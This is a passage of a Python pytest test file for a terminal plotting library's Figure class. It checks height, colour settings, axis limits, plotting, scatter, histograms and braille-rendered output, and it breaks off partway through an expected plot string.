assert all([len(r) > 40 and len(r) < 55 for r in res[2:-2]])\\n\\n\\ndef test_height():\\n fig = Figure()\\n\\n assert fig.height > 0\\n\\n fig.height = 40\\n assert fig.height == 40\\n\\n with pytest.raises(ValueError):\\n fig.height = 0\\n\\n with pytest.raises(ValueError):\\n fig.height = -10\\n\\n with pytest.raises(ValueError):\\n fig.height = \\\"40\\\"\\n\\n res = fig.show().split('\\\\n')\\n assert len(res) > 40\\n assert len(res) < 45\\n\\n\\ndef test_color_mode():\\n fig = Figure()\\n\\n assert fig.color_mode == 'names'\\n\\n fig.color_mode = 'byte'\\n assert fig.color_mode == 'byte'\\n\\n with pytest.raises(ValueError):\\n fig.color_mode = 'rgba'\\n\\n with pytest.raises(ValueError):\\n fig.color_mode = 15\\n\\n fig.plot([0.5], [0.5])\\n\\n with pytest.raises(RuntimeError):\\n fig.color_mode = 'names'\\n\\n\\ndef test_with_colors():\\n fig = Figure()\\n\\n assert fig.with_colors\\n\\n fig.with_colors = False\\n\\n assert not fig.with_colors\\n\\n with pytest.raises(ValueError):\\n fig.with_colors = 1\\n\\n\\ndef limits(get_limits, set_limits):\\n fig = Figure()\\n assert get_limits(fig) == (0, 1)\\n\\n set_limits(fig, min_=0.5)\\n assert get_limits(fig) == (0.5, 1)\\n\\n set_limits(fig) # resetting\\n set_limits(fig, max_=0.5)\\n assert get_limits(fig) == (0, 0.5)\\n\\n set_limits(fig) # resetting\\n set_limits(fig, min_=0.5)\\n set_limits(fig, max_=1.5)\\n assert get_limits(fig) == (0.5, 1.5)\\n\\n set_limits(fig, min_=-2, max_=3.5)\\n assert get_limits(fig) == (-2, 3.5)\\n\\n with pytest.raises(ValueError):\\n set_limits(fig, min_=20, max_=3.5)\\n\\n set_limits(fig) # resetting\\n set_limits(fig, max_=1.5)\\n with pytest.raises(ValueError):\\n set_limits(fig, min_=20)\\n\\n set_limits(fig) # resetting\\n set_limits(fig, min_=1.5)\\n with pytest.raises(ValueError):\\n set_limits(fig, max_=-20)\\n\\n set_limits(fig) # resetting\\n set_limits(fig, min_=1.5)\\n assert get_limits(fig) == (1.5, 2.5) # min over default max -> max = min + 1\\n\\n set_limits(fig) # resetting\\n set_limits(fig, max_=-1.5)\\n assert get_limits(fig) == (-2.5, -1.5) # max smaller than default min -> min = max - 1\\n\\n fig.clear()\\n fig.plot([0], [0])\\n set_limits(fig) # resetting\\n assert get_limits(fig) == (-0.5, 0.5) # both min, max same, and 0 => +- 0.5\\n\\n fig.clear()\\n fig.plot([0.5], [0.5])\\n set_limits(fig) # resetting\\n assert get_limits(fig) == (pytest.approx(0.45), pytest.approx(0.55)) # both min, max same, but not 0 => +-10%\\n\\n fig.clear()\\n fig.plot([0.1, 0.2], [0.1, 0.2])\\n set_limits(fig) # resetting\\n assert get_limits(fig) == (pytest.approx(0.09), pytest.approx(0.21)) # diff 0.1 => +-10%\\n\\n set_limits(fig, min_=0)\\n assert get_limits(fig) == (0, pytest.approx(0.22)) # diff 0.2 => +10%\\n set_limits(fig, max_=2)\\n assert get_limits(fig) == (0, 2) # min/max set\\n\\n set_limits(fig) # resetting\\n set_limits(fig, max_=2)\\n assert get_limits(fig) == (pytest.approx(-0.09), 2) # diff 1.9 => -10%\\n\\n set_limits(fig) # resetting\\n set_limits(fig, max_=0) # below value min\\n assert get_limits(fig) == (-1, 0) # have a valid window below graph\\n\\n set_limits(fig) # resetting\\n set_limits(fig, min_=1) # above value max\\n assert get_limits(fig) == (1, 2) # have a valid window above graph\\n\\n\\ndef test_x_limits():\\n limits(Figure.x_limits, Figure.set_x_limits)\\n\\n\\ndef test_y_limits():\\n limits(Figure.y_limits, Figure.set_y_limits)\\n\\n\\ndef test_clear():\\n fig = Figure()\\n\\n assert fig._plots == []\\n\\n fig.plot([0.1, 0.2], [0.1, 0.2])\\n fig.plot([0.1, 0.2], [0.1, 0.2])\\n fig.plot([0.1, 0.2], [0.1, 0.2])\\n\\n assert len(fig._plots) == 3\\n fig.clear()\\n assert fig._plots == []\\n\\n fig.clear()\\n assert fig._plots == []\\n\\n\\ndef test_plot(get_canvas):\\n fig = Figure()\\n\\n fig.plot([], [])\\n assert len(fig._plots) == 0\\n\\n fig.plot([0.1, 0.2], [0.2, 0.3])\\n assert len(fig._plots) == 1\\n\\n plot = fig._plots[0]\\n assert isinstance(plot, Plot)\\n\\n assert plot.interp == 'linear'\\n assert plot.lc == 'white'\\n assert plot.width_vals() == [0.1, 0.2]\\n assert plot.height_vals() == [0.2, 0.3]\\n\\n canvas = get_canvas()\\n plot.write(canvas, with_colors=False)\\n assert canvas.point.call_count == 2 # two points\\n assert canvas.point.call_args_list == [\\n call(0.1, 0.2, color=None),\\n call(0.2, 0.3, color=None),\\n ]\\n assert canvas.line.call_count == 1 # two points => one line\\n assert canvas.line.call_args_list == [\\n call(0.1, 0.2, 0.2, 0.3, color=None)\\n ]\\n\\n canvas = get_canvas()\\n plot.write(canvas, with_colors=True)\\n assert canvas.point.call_count == 2 # two points\\n assert canvas.point.call_args_list == [\\n call(0.1, 0.2, color=plot.lc),\\n call(0.2, 0.3, color=plot.lc),\\n ]\\n assert canvas.line.call_count == 1 # two points => one line\\n assert canvas.line.call_args_list == [\\n call(0.1, 0.2, 0.2, 0.3, color=plot.lc)\\n ]\\n\\n # different lc\\n fig.plot([0.1, 0.2], [0.2, 0.3])\\n assert len(fig._plots) == 2\\n\\n plot2 = fig._plots[1]\\n assert isinstance(plot2, Plot)\\n\\n assert plot2.lc == 'red'\\n\\n with pytest.raises(ValueError):\\n fig.plot([1], [0], interp=23)\\n\\n with pytest.raises(ValueError):\\n fig.plot([1, 2], [0])\\n\\n\\ndef test_scatter(get_canvas):\\n fig = Figure()\\n\\n fig.scatter([], [])\\n assert len(fig._plots) == 0\\n\\n fig.scatter([0.1, 0.2], [0.2, 0.3])\\n assert len(fig._plots) == 1\\n\\n plot = fig._plots[0]\\n assert isinstance(plot, Plot)\\n\\n assert plot.interp is None\\n assert plot.lc == 'white'\\n assert plot.width_vals() == [0.1, 0.2]\\n assert plot.height_vals() == [0.2, 0.3]\\n\\n canvas = get_canvas()\\n plot.write(canvas, with_colors=False)\\n assert canvas.point.call_count == 2 # two points\\n assert canvas.point.call_args_list == [\\n call(0.1, 0.2, color=None),\\n call(0.2, 0.3, color=None),\\n ]\\n assert canvas.line.call_count == 0 # scatter\\n\\n canvas = get_canvas()\\n plot.write(canvas, with_colors=True)\\n assert canvas.point.call_count == 2 # two points\\n assert canvas.point.call_args_list == [\\n call(0.1, 0.2, color=plot.lc),\\n call(0.2, 0.3, color=plot.lc),\\n ]\\n assert canvas.line.call_count == 0 # scatter\\n\\n # different lc\\n fig.scatter([0.1, 0.2], [0.2, 0.3])\\n assert len(fig._plots) == 2\\n\\n plot2 = fig._plots[1]\\n assert isinstance(plot2, Plot)\\n\\n assert plot2.lc == 'red'\\n\\n with pytest.raises(ValueError):\\n fig.scatter([1, 2], [0])\\n\\n\\ndef test_histogram(get_canvas, mocker):\\n fig = Figure()\\n fig.histogram([1, 1, 2, 3, 1], bins=3)\\n\\n assert len(fig._plots) == 1\\n\\n hist = fig._plots[0]\\n assert isinstance(hist, Histogram)\\n\\n assert hist.width_vals() == [1, 1, 2, 3, 1]\\n assert hist.height_vals() == [3, 1, 1] # 3 x 1\\n assert hist.lc == 'white'\\n\\n canvas = get_canvas()\\n canvas.dots_between = mocker.Mock(return_value=[1, 1])\\n canvas.xmin = 0\\n canvas.xmax = 5\\n\\n hist.write(canvas, with_colors=False)\\n assert canvas.point.call_count == 0\\n assert canvas.line.call_count == 3 # 1 dot between 1 and 2\\n\\n\\ndef test_show():\\n fig = Figure()\\n fig.with_colors = False\\n\\n fig.histogram([1, 1, 2, 3, 1], bins=5)\\n expected = ''' (Y) ^\\n 3.30000 |\\n 3.21750 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 3.13500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 3.05250 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 2.97000 | ⠀⠀⠀⠀⠀⠀⢠⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 2.88750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 2.80500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 2.72250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 2.64000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 2.55750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 2.47500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 2.39250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 2.31000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 2.22750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 2.14500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 2.06250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 1.98000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 1.89750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 1.81500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 1.73250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 1.65000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 1.56750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 1.48500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 1.40250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 1.32000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 1.23750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 1.15500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 1.07250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.99000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀\\n 0.90750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\\n 0.82500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\\n 0.74250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\\n 0.66000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\\n 0.57750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\\n 0.49500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\\n 0.41250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\\n 0.33000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\\n 0.24750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\\n 0.16500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\\n 0.08250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\\n 0.00000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\\n-----------|-|---------|---------|---------|---------|---------|---------|---------|---------|-> (X)\\n | 0.80000 1.10000 1.40000 1.70000 2.00000 2.30000 2.60000 2.90000 3.20000 '''\\n\\n res = fig.show() # no legend, no origin\\n assert expected == res\\n\\n assert fig.show(legend=True) == expected + '\\\\n\\\\nLegend:\\\\n-------\\\\n' # no label for histograms\\n\\n fig.clear()\\n fig.plot([-0.1, 0.2], [-0.2, 0.3])\\n\\n expected = ''' (Y) ^\\n 0.35000 |\\n 0.33500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.32000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.30500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\\n 0.29000 | 